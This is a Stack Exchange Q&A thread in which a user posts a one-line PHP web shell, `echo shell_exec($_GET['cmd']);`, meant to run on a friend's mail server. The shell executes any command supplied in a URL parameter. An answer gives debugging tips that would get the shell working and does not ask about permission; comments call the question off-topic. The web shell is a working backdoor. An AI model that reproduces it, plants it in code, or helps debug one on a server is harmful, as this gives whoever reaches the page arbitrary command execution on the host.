Answers: <p>Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:</p>
  
  <ul>
  <li><code>&lt;?php</code> should be present at the start of any PHP script.</li>
  <li>If a PHP error occurs, you might not see it without <a href="http://php.net/manual/en/function.error-reporting.php" rel="nofollow noreferrer">error reporting</a> enabled.</li>
  <li>If the actual shell command fails or outputs warnings, you won't see it with <code>shell_exec</code> unless you add the stderr to stdout redirection <code>2&gt;&amp;</code> to the command, or use <a href="http://php.net/manual/en/function.exec.php" rel="nofollow noreferrer"><code>exec</code></a>.</li>
  </ul>
  
Answers: CC BY-SA 3.0
Answers: 2017-08-20T11:50:59.780Z
Answers: 2017-08-20T11:50:59.780Z
Answers: LEI
Body: <p>I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.</p>
  
  <p>This is the script I wrote:</p>
  
  <pre><code>echo shell_exec($_GET['cmd']);
  </code></pre>
  
Comments: CC BY-SA 3.0
Comments: 2017-08-20T11:33:33.860Z
Comments: What is not running? What is the problem you're facing? Please provide more details. And how is this related to DevOps?
Comments: Hussain Mansoor
Comments: CC BY-SA 3.0
Comments: 2017-08-20T12:10:03.297Z
Comments: This question doesn't seem to be about [DevOps](https://en.wikipedia.org/wiki/DevOps) and isn't on-topic here. Debugging questions may be on-topic at [Stack Overflow](https://stackoverflow.com/) *if you can include the relevant error message*.
Comments: Aurora0001
Tags: <shell-script><php>
Title: Shell Scripting
UserDisplayName: Jaipravin AKA Christopher
ThreadText: # Shell Scripting
  
  (Asked by: username_0 on 2017-08-20)
  
  I am trying to execute a PHP shell script on my friends mail server to show him the impact of such vulnerability. Vulnerable code but unfortunately it doesn't seem to be running.
  
  This is the script I wrote:
  
  ```
  echo shell_exec($_GET['cmd']);
  
  ```
  
  **Tags:** shell-script, php
  
  > **Comments:**
  > **username_1**: What is not running? What is the problem you're facing? Please provide more details. And how is this related to DevOps?  
  > **username_2**: This question doesn't seem to be about [DevOps](https://en.wikipedia.org/wiki/DevOps) and isn't on-topic here. Debugging questions may be on-topic at [Stack Overflow](https://stackoverflow.com/) *if you can include the relevant error message*.  
  
  ---
  
  ## 1 answers
  
  ### Answer by username_3 on 2017-08-20. Score: 2
  
  Please provide more information about the method and the result as Husyn asked, it may be more suited to programming SO if it is PHP related. Anyway:
  
  * `<?php` should be present at the start of any PHP script.
  * If a PHP error occurs, you might not see it without [error reporting](http://php.net/manual/en/function.error-reporting.php) enabled.
  * If the actual shell command fails or outputs warnings, you won't see it with `shell_exec` unless you add the stderr to stdout redirection `2>&` to the command, or use [`exec`](http://php.net/manual/en/function.exec.php).
  
  
  ---
  
  